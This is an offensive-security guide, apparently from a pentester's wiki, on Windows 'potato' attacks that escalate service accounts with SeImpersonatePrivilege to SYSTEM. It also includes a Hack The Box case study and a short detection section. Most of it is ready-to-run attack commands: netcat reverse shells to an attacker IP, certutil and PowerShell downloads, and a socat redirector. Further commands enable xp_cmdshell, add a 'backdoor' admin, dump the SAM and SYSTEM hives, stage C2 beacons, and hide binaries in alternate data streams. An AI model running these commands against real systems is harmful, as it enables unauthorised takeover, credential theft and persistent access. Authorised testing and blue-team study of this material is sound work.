← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · Alternate Data Streams guide →
Potato Attacks — SeImpersonate to SYSTEM fas:ClipboardList
[!dashboard] What this is The long-form companion to the potato line in the Windows Privilege Escalation cheat sheet. The cheat sheet gives you the one-liner mid-box; this guide explains what each potato actually abuses, walks every useful flag, and shows how to deliver them from an MSSQL shell / IIS web shell / WinRM. Once you land SYSTEM, pair it with the Alternate Data Streams guide — staging the binary off a directory listing, stripping Mark-of-the-Web, and finding data (including flags) other users hid in a stream.
Almost every service account on Windows — IIS APPPOOL\*, NT SERVICE\MSSQLSERVER, LOCAL SERVICE, NETWORK SERVICE, and most third-party service accounts — holds SeImpersonatePrivilege. That one privilege is the whole game. If you land a shell as one of these accounts (a web shell, xp_cmdshell, a cracked service credential), a potato turns it into NT AUTHORITY\SYSTEM in a single command. The potatoes differ only in how they trick SYSTEM into authenticating to something you control so you can steal its token.
The gate check — do you even have a potato path? fas:Terminal
Everything here lives or dies on one line. Run it first, every time:
whoami /priv
You are looking for either of these in the Enabled state:
| Privilege | What it lets you do | Who usually has it |
|---|---|---|
SeImpersonatePrivilege | Impersonate a client after it authenticates to you | IIS AppPool, MSSQL, LOCAL SERVICE, NETWORK SERVICE, most service accounts |
SeAssignPrimaryTokenPrivilege | Assign a primary token to a new process | Some service accounts, scheduled-task contexts |
[!warning]+ No privilege, no potato
fas:TriangleExclamationIfwhoami /privshows neither privilege (or shows them Disabled with no way to enable them), the potato family is a dead end — go back to the Windows PrivEsc cheat sheet for services, registry, credential hunting, and kernel paths. A privilege that is present but Disabled is fine: potatoes enable it themselves at runtime through the token they steal.
How a potato works (the shared skeleton)
Every tool below follows the same three beats. Only step 1 changes between them.
The named difference — Print Spooler bug, DCOM/RPC OXID resolver, MS-EFSR — is just the coercion trick in step 1. When one is patched or disabled, you switch tools, not techniques.
[!success]+ Grab the binaries — checksum-verified, offline mirror
fas:ToolboxMirrored on this site (self-hosted, no third-party fetch). Verify the hash before you run anything you pulled off the internet on a client box:
- PrintSpoofer: PrintSpoofer64.exe (SHA-256 · GPG signature)
- GodPotato (.NET 4.x): GodPotato-NET4.exe (SHA-256 · GPG signature)
- GodPotato (.NET 3.5): GodPotato-NET35.exe (SHA-256 · GPG signature)
- JuicyPotato (legacy): JuicyPotato.exe (SHA-256 · GPG signature)
- SweetPotato: SweetPotato.exe (SHA-256 · GPG signature)
- nc64.exe (reverse-shell stand-in): nc64.exe (SHA-256 · GPG signature)
Not yet mirrored here — pull from source and rebuild/verify yourself: JuicyPotatoNG, RoguePotato, EfsPotato.
Which potato, when? fas:Route
Confirm the build first — [environment]::OSVersion.Version (PowerShell) or ver (cmd) — then work down this list. The order is “most reliable / least noisy” first.
| Tool | Coercion primitive | Needs | Works on | Reach for it when |
|---|---|---|---|---|
| PrintSpoofer | Print Spooler named pipe (\pipe\spoolss) | SeImpersonate + Spooler service running | Win10 / Server 2016–2019 (and later where Spooler is up) | First choice — one binary, no network, interactive shell. |
| GodPotato | DCOM/RPC OXID resolver (local) | SeImpersonate, matching .NET runtime | Server 2012–2022, Win8–11 | Spooler is disabled/absent (common on Server 2019+/Win11). Broadest coverage — try it first if unsure. |
| JuicyPotatoNG | DCOM with a working CLSID + local SSPI on port 10247 | SeImpersonate | Win10 / Server 2016–2022 (pre-patch) | You want the classic JuicyPotato technique revived on a modern build; PrintSpoofer/GodPotato both failed. |
| RoguePotato | Remote OXID resolver via a redirector on port 135 | SeImpersonate + outbound/redirected 135 | Server 2019 / Win10 1809+ | DCOM is usable but you need the fake OXID trick; you can stand up a socat redirector. |
| EfsPotato | MS-EFSR (EFS RPC) local coercion | SeImpersonate or SeAssignPrimaryToken | Modern builds; multiple RPC interfaces to dodge patches | Great from xp_cmdshell / web shells; small, self-contained, swaps RPC pipes when one is patched. |
| SweetPotato | Bundles several (EfsRpc, PrintSpoofer, RottenPotato, DCOM) | SeImpersonate | Modern builds | You want one binary with a fallback -e selector; good “if this fails, switch mode” tool. |
PrintSpoofer fas:Terminal
Abuses: the Print Spooler service. PrintSpoofer coerces spoolsv.exe (running as SYSTEM) to connect back to a named pipe it controls, then impersonates the SYSTEM token off that pipe. No network egress, no DCOM — everything happens over local IPC.
Requirements: SeImpersonatePrivilege and the Print Spooler service running (sc query spooler → RUNNING). On many Server 2019+/Win11 builds the Spooler is disabled by default post-PrintNightmare — that is your cue to switch to GodPotato.
:: Interactive SYSTEM shell in your current console — the go-to
PrintSpoofer64.exe -i -c cmd
:: Fire a single command as SYSTEM (non-interactive)
PrintSpoofer64.exe -c "whoami"
PrintSpoofer64.exe -c "net localgroup administrators lowpriv /add"
:: Reverse shell back to your handler (catch with: nc -lnvp 8443)
PrintSpoofer64.exe -c "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"
:: Spawn on a specific logon session (e.g. pop a shell on an RDP user's desktop)
PrintSpoofer64.exe -d 1 -c cmd
| Flag | Meaning |
|---|---|
-c <CMD> | Command to run as SYSTEM (wrap in quotes; use cmd /c ... for shell built-ins) |
-i | Interact with the new process in the current console — this is what gives you a live SYSTEM shell |
-d <SESSION_ID> | Create the process in the given logon session / desktop (see query session) |
-p <PROGRAM> | Program to launch (default C:\Windows\System32\cmd.exe) |
-h | Help |
[!tip]+ Everything PrintSpoofer can do
fas:LightbulbAnythingcmd/a program can do, now as SYSTEM: pop an interactive shell (-i -c cmd), run one command (-c), throw a reverse shell, add a local admin, launch a Meterpreter/Sliver stager, readC:\Windows\System32\config\SAM, or spawn on another user’s desktop with-d. It does not need outbound network — ideal on segmented internal hosts where DCOM/135 is filtered.
GodPotato fas:Terminal
Abuses: DCOM. GodPotato stands up a local fake OXID resolver and drives a DCOM activation so a SYSTEM RPC context authenticates to it, then impersonates. It is the broadest-coverage modern potato — Server 2012 through 2022, Windows 8 through 11 — and needs no Print Spooler.
Requirements: SeImpersonatePrivilege and a matching .NET runtime. Pick the binary by what is installed: GodPotato-NET4.exe for .NET 4.x (the common case), GodPotato-NET35.exe when only .NET 2.0/3.5 is present. Check with dir %WINDIR%\Microsoft.NET\Framework\.
:: Prove it — run whoami as SYSTEM
GodPotato-NET4.exe -cmd "cmd /c whoami"
:: Add a local admin / new user
GodPotato-NET4.exe -cmd "cmd /c net user backdoor P@ssw0rd123! /add"
GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators backdoor /add"
:: Reverse shell (catch with nc -lnvp 8443)
GodPotato-NET4.exe -cmd "cmd /c c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"
:: .NET 3.5-only host
GodPotato-NET35.exe -cmd "cmd /c whoami"
| Flag | Meaning |
|---|---|
-cmd <COMMAND> | Command to execute as SYSTEM (prefix with cmd /c for built-ins like whoami, net, type) |
-rpc_port <PORT> | Pin the internal RPC listener port (default is chosen automatically; set it if a port collides) |
-h | Help |
[!tip]+ Everything GodPotato can do
fas:LightbulbSingle-shot command execution as SYSTEM with the widest OS coverage of the family and no Spooler and no external network required. Use it to run a reverse shell, add an admin, dump hives, or kick off a C2 stager. Because it is fully local it is the reliable fallback whenever PrintSpoofer’s Spooler dependency isn’t met. It runs one command per invocation, so for a shell, have it launchnc64.exeor a stager rather than expecting an interactive prompt.
JuicyPotatoNG fas:Terminal
Abuses: DCOM, like the original JuicyPotato, but revived for modern Windows. It uses a CLSID that still resolves for service accounts and negotiates the SYSTEM context locally over SSPI on a fixed port (default 10247), sidestepping the 2018 DCOM hardening that killed classic JuicyPotato.
Requirements: SeImpersonatePrivilege. Works on Windows 10 / Server 2016–2022 depending on patch level. Not bundled here — build from source.
:: Default run — uses a built-in working CLSID and port 10247, runs cmd
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
:: Reverse shell
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"
:: Let it seek a usable CLSID for this exact build
JuicyPotatoNG.exe -s -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
:: Custom COM listen port if 10247 is taken
JuicyPotatoNG.exe -t * -l 10999 -p cmd.exe -a "/c whoami"
| Flag | Meaning |
|---|---|
-t <a|u|*> | Token-creation call: u = CreateProcessWithTokenW (needs SeImpersonate), a = CreateProcessAsUser (needs SeAssignPrimaryToken), * = try both |
-p <PROGRAM> | Program to launch (default cmd.exe) |
-a <ARGS> | Arguments passed to the program (e.g. "/c whoami") |
-l <PORT> | Local COM server listen port (default 10247) |
-c <CLSID> | Use a specific CLSID instead of the built-in default |
-s | Seek — probe for a CLSID that works on this host |
-b | Bruteforce all CLSIDs (loud; last resort) |
-i | Interactive (run the program in the current console) |
[!info]+ JuicyPotatoNG vs. the legacy JuicyPotato
fas:LightbulbThe bundled JuicyPotato.exe is the legacy tool — dead on Server 2019 / Windows 10 1809 and later because of DCOM hardening; keep it only for Server 2016-and-older targets (JuicyPotato.exe -l 53375 -p cmd.exe -a "/c whoami" -t *, needs a CLSID matching the OS). JuicyPotatoNG is the modern rewrite that works past that hardening. If you’re on anything current, use NG, not the legacy binary.
RoguePotato fas:Terminal
Abuses: DCOM with a remote OXID resolver. RoguePotato forces the DCOM OXID resolution to go out to TCP 135 on a host you control, which redirects it back to a local listener — letting you complete the SYSTEM NTLM negotiation on builds where the fully-local trick doesn’t fire.
Requirements: SeImpersonatePrivilege, and the ability to reach an attacker-controlled resolver on port 135 (you run a socat redirector). This is the one potato with a network dependency. Not bundled here — build from source.
# On YOUR box: redirect victim's 135 back to its RoguePotato listener (default 9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
:: On the victim: -r = your redirector IP, -l = local OXID listener, -e = command
RoguePotato.exe -r 10.10.14.3 -e "cmd.exe /c whoami > C:\Windows\Temp\r.txt" -l 9999
:: Reverse shell variant
RoguePotato.exe -r 10.10.14.3 -e "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd" -l 9999
| Flag | Meaning |
|---|---|
-r <IP> | Remote OXID resolver IP — your box running the socat redirect on 135 |
-e <COMMAND> | Command to execute as SYSTEM |
-l <PORT> | Local fake OXID resolver listen port (default 9999; must match the socat target) |
-c <CLSID> | Specific CLSID to activate |
-p <PIPE> | Named pipe to use (advanced) |
-z | Test mode — check whether the technique will work without executing |
[!warning]+ RoguePotato needs egress to port 135
fas:TriangleExclamationIf outbound/redirected 135 to your redirector is blocked (very common on segmented internal networks), RoguePotato can’t complete. In that case fall back to a fully-local potato — GodPotato, EfsPotato, or SweetPotato’s EfsRpc mode — which need no network at all.
EfsPotato fas:Terminal
Abuses: MS-EFSR, the Encrypting File System Remote Protocol (the same RPC family as PetitPotam). EfsPotato coerces SYSTEM to authenticate to a local pipe via an EFS RPC call, then impersonates. It exposes several RPC interfaces, so when Microsoft patches one you switch to another with a single argument.
Requirements: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. It is tiny and self-contained, which makes it a favourite from xp_cmdshell and cramped web shells. Not bundled here — grab or compile from source (single .cs, buildable on-target with csc.exe).
:: Simplest form — run a command as SYSTEM
EfsPotato.exe "whoami"
EfsPotato.exe "net user backdoor P@ssw0rd123! /add"
:: Pick a specific RPC pipe when the default is patched
:: valid pipes: lsarpc | efsrpc | samr | lsass | netlogon
EfsPotato.exe "whoami" lsarpc
EfsPotato.exe "whoami" efsrpc
:: Reverse shell
EfsPotato.exe "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"
# Compile on-target if you only have the .cs (no external toolchain needed)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nowarn:1691,618 EfsPotato.cs
| Argument | Meaning |
|---|---|
<command> (1st positional) | Command to run as SYSTEM |
<pipe> (2nd positional, optional) | RPC interface to abuse: lsarpc, efsrpc, samr, lsass, netlogon — rotate through these if the default is blocked/patched |
[!tip]+ Everything EfsPotato can do
fas:LightbulbFully local (no Spooler, no network), tiny, and compilable on-target — which is why it shines from MSSQLxp_cmdshelland low-footprint web shells. Its standout feature is the swappable RPC pipe: ifEfsPotato.exe "whoami"fails because one interface is patched, retry withlsarpc, thenefsrpc, thensamr, etc. SweetPotato’sEfsRpcmode is the same primitive wrapped in a bigger multi-tool.
SweetPotato fas:Terminal
Abuses: whatever you select. SweetPotato bundles several coercion primitives behind a -e switch — commonly EfsRpc (default), PrintSpoofer, and DCOM (older/other forks also carry RottenPotato) — so a single binary carries built-in fallbacks. When one mode fails, change -e instead of uploading a new tool. The exact set depends on the fork; run SweetPotato.exe -h to see what your build exposes.
Requirements: SeImpersonatePrivilege. Modern builds. Bundled: SweetPotato.exe (SHA-256 · GPG signature).
:: Default (EfsRpc mode) — run a command as SYSTEM
SweetPotato.exe -a "/c whoami"
:: Force a specific technique
SweetPotato.exe -e EfsRpc -p C:\Windows\System32\cmd.exe -a "/c whoami"
SweetPotato.exe -e PrintSpoofer -p C:\Windows\System32\cmd.exe -a "/c whoami"
SweetPotato.exe -e DCOM -p C:\Windows\System32\cmd.exe -a "/c whoami"
:: Reverse shell
SweetPotato.exe -a "/c c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"
| Flag | Meaning |
|---|---|
-e <EXPLOIT> | Technique: EfsRpc (default), PrintSpoofer, DCOM (fork-dependent; some carry RottenPotato) |
-p <PROGRAM> | Program to launch (default cmd.exe) |
-a <ARGS> | Arguments (e.g. "/c whoami") |
-l <PORT> | COM server listen port (for DCOM/RottenPotato modes) |
-c <CLSID> | CLSID for DCOM-based modes |
[!tip]+ Everything SweetPotato can do
fas:LightbulbIt’s the “one binary, several potatoes” option. Start with the defaultEfsRpc, and if it fails cycle-e PrintSpoofer(needs the Spooler) →-e DCOM→-e RottenPotato. Handy when you can only upload one file but don’t know yet which primitive the target will accept.
Delivery — getting a potato onto the box and running it fas:RocketLaunch
You rarely get a clean interactive prompt. These are the common contexts where you already hold a SeImpersonate account and how to drive a potato from each. Transfer methods (SMB, HTTP, certutil, iwr) are in Foothold — File Transfers.
From MSSQL xp_cmdshell
MSSQL service accounts almost always hold SeImpersonate. This is the classic MSSQL → SYSTEM chain.
-- 1) enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- 2) confirm the privilege
EXEC xp_cmdshell 'whoami /priv';
-- 3) stage the potato (HTTP pull from your box)
EXEC xp_cmdshell 'certutil -urlcache -f http://10.10.14.3/GodPotato-NET4.exe C:\Windows\Temp\g.exe';
-- 4) fire it as SYSTEM
EXEC xp_cmdshell 'C:\Windows\Temp\g.exe -cmd "cmd /c net localgroup administrators sql_svc /add"';
From an IIS / ASPX web shell
IIS AppPool identities hold SeImpersonate by design. From a web shell (whoami → iis apppool\...):
# Pull the tool, then run it — one command per web-shell request
Invoke-WebRequest -Uri http://10.10.14.3/PrintSpoofer64.exe -OutFile C:\Windows\Temp\ps.exe
C:\Windows\Temp\ps.exe -c "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"
C:\Windows\Temp and C:\Windows\System32\spool\drivers\color are usually writable by the AppPool identity — good staging spots. See Web Shells for the shell itself.
From WinRM / evil-winrm
# On your box
evil-winrm -i 10.10.10.100 -u svc_web -p 'Password123!'
# Inside the session — upload is built into evil-winrm
upload /opt/tools/GodPotato-NET4.exe C:\Windows\Temp\g.exe
C:\Windows\Temp\g.exe -cmd "cmd /c whoami"
[!tip]+ Interactive vs. one-shot potatoes
fas:LightbulbPrintSpoofer (-i -c cmd) and JuicyPotatoNG (-i) can hand you a live SYSTEM prompt. GodPotato, EfsPotato, RoguePotato, and SweetPotato run one command per invocation — so from those, have them launchnc64.exe/a C2 stager for your shell rather than expecting a prompt to appear.
SYSTEM payload cookbook
What to actually run once a potato lands you SYSTEM. Track every artefact you create for cleanup.
:: Interactive shell (PrintSpoofer / JuicyPotatoNG)
... -i -c cmd
:: Reverse shell (any potato) — nc -lnvp 8443 on your box
... "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"
:: Local admin (loud, logged — prefer a shell/token over a new account on real engagements)
... "cmd /c net user backdoor P@ssw0rd123! /add & net localgroup administrators backdoor /add"
:: Dump the SAM/SYSTEM hives for offline hash extraction
... "cmd /c reg save HKLM\SAM C:\Windows\Temp\sam.sav /y & reg save HKLM\SYSTEM C:\Windows\Temp\sys.sav /y"
:: Stage a Meterpreter/Sliver/C2 beacon as SYSTEM
... "cmd /c C:\Windows\Temp\beacon.exe"
:: Hide/find data with NTFS Alternate Data Streams — see the ADS guide, linked below
... "cmd /c dir /r C:\Users\Administrator\Desktop"
Then pull the hives and crack offline: impacket-secretsdump -sam sam.sav -system sys.sav LOCAL.
[!info]+ SYSTEM is also your ticket into Alternate Data Streams
fas:LightbulbTwo uses, both worth knowing: stage the potato binary itself inside an ADS on a boring file (type g.exe > log.txt:g.exe) so a casualdirinC:\Windows\Tempshows nothing, then extract it back out right before you run it; and find data other users hid the same way — SYSTEM can nowdir /revery profile on the box, and flags/creds/second-stage tooling turn up there more often than you’d expect. Full mechanics — reading, writing, finding, hiding, and stripping Mark-of-the-Web — are in the Alternate Data Streams guide.
Field method — finding and landing a SeImpersonate → SYSTEM chain fas:Route
The potatoes are the easy part. The skill is the four steps around them: recognise that your shell holds impersonation rights, fingerprint the host so you pick a tool that actually fires on this build, get the binary across when the box has no download tools, then drive it non-interactively and read the result. Below is that method as a repeatable loop. A single awkward old box — HTB Jeeves, Windows 10 build 10586 — runs underneath as a case study, because the boxes where the newest potato fails are exactly the ones that teach you why fingerprinting matters.
1 · Spot the opportunity — is your token weaponisable? fas:Terminal
Two commands tell you whether a potato is even on the table:
whoami /priv :: look for SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege
whoami /groups :: look for NT AUTHORITY\SERVICE (S-1-5-6) and the integrity level
whoami /priv is the direct check, but on stripped shells it’s sometimes truncated or lies. whoami /groups is the corroborating tell: membership in NT AUTHORITY\SERVICE (S-1-5-6) means you’re running as a service, and service accounts almost always carry SeImpersonate. A High Mandatory Level label alongside it says the process is already high-integrity — common for service RCE. That combination (BUILTIN\Users + NT AUTHORITY\SERVICE + High integrity) is the fingerprint of “web/app service account that can be potatoed,” even before you confirm the privilege.
Where you land in that context:
- IIS AppPool identities (ASPX/PHP web shells on IIS).
- MSSQL service accounts (
xp_cmdshell). - App-server RCE — Jenkins, Tomcat, GitLab runners, ColdFusion. On Jeeves this is an unauthenticated Jenkins script console on
:50000, running asJEEVES\kohsuke—whoami /groupsshowsNT AUTHORITY\SERVICEand High integrity, so the privilege is there even thoughwhoami /privoutput was minimal. - Any cracked service credential you can
runas/psexecwith.
2 · Fingerprint the host — the DCOM era decides your tool fas:MagnifyingGlass
This is the step most write-ups skip, and it’s why “just run the newest potato” fails. Get the exact build first:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
:: or, quicker:
ver
[environment]::OSVersion.Version # e.g. 10.0.10586.0
Now the concept that ties the whole family together — the DCOM hardening line of September 2018 (Windows 10 1809 / Server 2019):
- The original RottenPotato → JuicyPotato technique abuses
CoGetInstanceFromIStorage: it kicks off a DCOM activation of a SYSTEM-owned CLSID and hands it a marshalled object that points OXID resolution at127.0.0.1:<your -l port>.RPCSS(SYSTEM) dutifully authenticates to that local port over NTLM; the tool catches that auth, negotiates a SYSTEM token, and impersonates it. Pick a CLSID that runs as SYSTEM and a free local port, and it fires. - The 1809 / Server 2019 patch changed DCOM so that OXID resolution no longer honours your custom port — it’s forced back to port 135. That single change killed the original JuicyPotato on 1809 and later.
- JuicyPotatoNG (decoder_it & splinter_code) is the re-do for the post-patch world: it uses a different CLSID (the PrintNotify service,
{854A20FB-2D44-457D-992F-EF13785D2B51}, on default port 10247) and a local SSPI/COM negotiation trick that survives the hardening. PrintSpoofer (Spooler named pipe) and GodPotato (in-process fake OXID resolver) are the other post-patch answers.
So legacy and NG are built for opposite eras, and newer is not better:
| Target build | First choice | Why |
|---|---|---|
| Win10 ≤ 1803 / Server 2016 / build 10586 | Legacy JuicyPotato | Pre-hardening — the -l-port OXID redirect still works; NG/GodPotato often don’t on these old builds |
| Win10 1809+ / Server 2019+ / Win11 | PrintSpoofer (Spooler up) → GodPotato → JuicyPotatoNG | Post-hardening — the original is dead; these are the workarounds |
Check the Spooler if you’re eyeing PrintSpoofer: sc query spooler → RUNNING. Per-OS CLSID tables for JuicyPotato live at ohpe.it/juicy-potato/CLSID; the BITS CLSID {4991d34b-80a1-4291-83b6-3328366b9097} is a dependable SYSTEM-owning pick across many builds.
3 · Land the binary when the box has no download tools fas:RocketLaunch
Old and minimal Windows often has no curl, no wget, no certutil you can rely on (curl.exe only shipped with build 17063 in 2017 — Jeeves’ 10586 has none of them). Work down this ladder:
# Best case — PowerShell is present
Invoke-WebRequest http://10.10.14.3/jp.exe -OutFile C:\Users\kohsuke\jp.exe
(New-Object Net.WebClient).DownloadFile('http://10.10.14.3/jp.exe','C:\Users\kohsuke\jp.exe')
:: If certutil exists
certutil -urlcache -f http://10.10.14.3/jp.exe C:\Users\kohsuke\jp.exe
When none of those work, fall back to an SMB share — the reliable transport on stripped hosts:
# On your box — SMBv2 + auth (modern Windows refuses guest/anonymous SMB)
impacket-smbserver SHARE /tmp/share -smb2support -user temp -password temp
:: On the target — map, copy, then clean up the mapping when done
net use Z: \\10.10.14.3\SHARE /user:temp temp
copy Z:\JuicyPotato.exe .
copy Z:\nc64.exe .
... :: run your attack
net use Z: /delete
Stage into a directory your account owns and can execute from — your own profile (C:\Users\<you>\) or C:\Windows\Temp. You can also run straight off the share (Z:\jp.exe ...) if you’d rather not drop the file.
4 · Fire it non-interactively and actually read the output fas:Terminal
Legacy JuicyPotato, GodPotato, EfsPotato and RoguePotato don’t hand you a shell — they run one command as SYSTEM and exit. So make SYSTEM write its output somewhere your low-priv user can read, then read it back:
JuicyPotato.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\kohsuke\out.txt 2>&1" -t *
type C:\Users\kohsuke\out.txt
The three knobs, and the traps behind each:
-t *— try bothCreateProcessWithTokenW(needs SeImpersonate) andCreateProcessAsUser(needs SeAssignPrimaryToken). A win prints[+] authresult 0andNT AUTHORITY\SYSTEM.-l <port>— a free local port. Confirm withnetstat -ano | findstr ":53375 "(no output = free). Trap: a failed run also produces the output file — from your redirect, not from SYSTEM. Alwaystypeit and confirm it saysnt authority\system; an empty file or awhoamiusage error means the exploit didn’t run, not that you’re SYSTEM.-a "<args>"must be one clean line. Trap seen live: pasting a long command into a raw shell can wrap the line and split the-astring, sowhoamiruns with a stray argument and your output file containsERROR: Invalid argument/option - ''. That’s a mangled paste, not a broken exploit — retype it on one line.
[!warning]+ “The privileged process failed to communicate with our COM Server” is (usually) not a port problem
fas:TriangleExclamationJuicyPotatoNG prints this same line whenever no SYSTEM authentication reaches its local COM server within its ~3-second window — and it suggests trying another-lport, which sends people down a rabbit hole. If you’ve already confirmed the port is free (or-ssays the firewall is off and every port should work) and it still fails on every port and every CLSID, the port was never the issue: the trigger is incompatible with this OS build. NG’s CLSID triggers and local TCP handling were engineered for post-1809 Windows; on a pre-hardening build like 10586 the privileged process never routes its auth back to NG’s socket, so it times out with the generic error. GodPotato can fail on the same old builds too — its OXID unmarshal returns0x80070776(OR_INVALID_OXID, “the object exporter specified was not found”) and it reportsFailed to impersonate security context token. The fix is not a different port; it’s the era-correct tool — drop to the original JuicyPotato, which uses the pre-hardening technique the box still permits.
5 · Once you’re SYSTEM fas:MagnifyingGlass
SYSTEM opens every other profile on the box — and that’s where the interesting things hide: credentials, KeePass databases, second-stage tooling, and data other users tucked into NTFS Alternate Data Streams, invisible to a plain dir. Make dir /r a reflex on every profile and desktop you couldn’t read before. The full mechanics — reading, finding, hiding streams, and Mark-of-the-Web — plus a worked example of finding and reading a flag hidden this way, are in the Alternate Data Streams guide.
[!example]+ Case study — HTB Jeeves (build 10586): the sequence that actually worked
fas:SpiderEvery “newer” potato failed here, which is the whole lesson. The console showed:
PrintSpoofer64.exe/JuicyPotatoNG.exe— not staged yet (not recognized), so transfer first.JuicyPotatoNG(default PrintNotify CLSID on 10247, then ports 9999 / 53375, then BITS CLSID) — every attempt returnedfailed to communicate with our COM Server. Not a port problem: 10586 is pre-hardening, so NG’s trigger never completes.GodPotato-NET4—UnmarshalObject: 0x80070776→Failed to impersonate security context token. Same story: OXID unmarshal doesn’t resolve on this build.The era-correct tool won on the first try:
:: 1) no curl/wget/certutil — pull tools over SMB net use Z: \\10.10.14.197\SHARE /user:temp temp copy Z:\JuicyPotato.exe . :: 2) legacy JuicyPotato, BITS CLSID, free port → SYSTEM JuicyPotato.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\kohsuke\system-check.txt 2>&1" -t * type system-check.txt :: -> nt authority\system ([+] authresult 0 / CreateProcessWithTokenW OK)From here,
dir /ronC:\Users\Administrator\Desktopturns up a file with a named stream — walked through in the ADS guide’s worked example, using this exact box.
[!success]+ The transferable checklist
fas:Lightbulb
whoami /privand/groups—SeImpersonate, orNT AUTHORITY\SERVICE+ High integrity, means go.systeminfofirst — the OS build, not the calendar, picks the tool. Pre-1809 → original JuicyPotato; 1809+ → PrintSpoofer / GodPotato / NG.- No download tools? Use an SMB share (
impacket-smbserver -smb2support -user … -password …↔net use), thennet use … /delete.- No shell? Redirect to a file you own and
typeit back — and read it to confirmnt authority\system, since a failed run leaves a file too.- A generic “try another port” error on every port = wrong tool for the era, not the wrong port.
dir /revery profile you couldn’t read before — flags, creds, and payloads get parked in ADS.
Detection, OPSEC & cleanup fas:Shield
[!danger] Authorised testing only
fas:TriangleExclamationPotato attacks land you SYSTEM on a real host. Run these only against systems you’re explicitly authorised to test. Track every binary, user, and hive dump you create, with full paths, and remove them at cleanup.
What the blue team sees:
| Signal | Where |
|---|---|
4672 Special privileges assigned to new logon; 4624 logon type 9 (new credentials) | Security log — the token-impersonation moment |
4688 process creation — a service account spawning cmd.exe/nc64.exe/unknown EXE from C:\Windows\Temp | Security log / Sysmon Event 1 |
Named-pipe creation on \pipe\spoolss and odd DCOM/RPC activity | Sysmon Events 17/18 (pipe), 3 (network) |
Files/EXEs written to C:\Windows\Temp, spooler dirs | Sysmon Event 11 |
OPSEC notes:
- Potatoes touch high-signal primitives (Spooler pipe, DCOM). On a monitored estate expect EDR to alert — don’t burn a careful engagement on a noisy
net user ... /add. Prefer a SYSTEM shell/token to standing up a new account. C:\Windows\Tempis convenient but heavily watched. Rename binaries to something dull; don’t leaveGodPotato.exeon disk.
Cleanup checklist:
Remove-Item C:\Windows\Temp\ps.exe, C:\Windows\Temp\g.exe -Force -ErrorAction SilentlyContinue
Remove-Item C:\Windows\Temp\sam.sav, C:\Windows\Temp\sys.sav -Force -ErrorAction SilentlyContinue
net user backdoor /del 2>$null # if you created one
Staged a payload inside an ADS as part of this chain? The Alternate Data Streams guide’s cleanup section covers removing streams.
References fas:BookOpen
| Tool / topic | Source |
|---|---|
| PrintSpoofer | github.com/itm4n/PrintSpoofer · itm4n write-up |
| GodPotato | github.com/BeichenDream/GodPotato |
| JuicyPotatoNG | github.com/antonioCoco/JuicyPotatoNG |
| JuicyPotato (legacy) | github.com/ohpe/juicy-potato |
| RoguePotato | github.com/antonioCoco/RoguePotato |
| EfsPotato | github.com/zcgonvh/EfsPotato |
| SweetPotato | github.com/CCob/SweetPotato |
| The Potato family, explained | jlajara.gitlab.io — potatoes |
← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · Alternate Data Streams guide →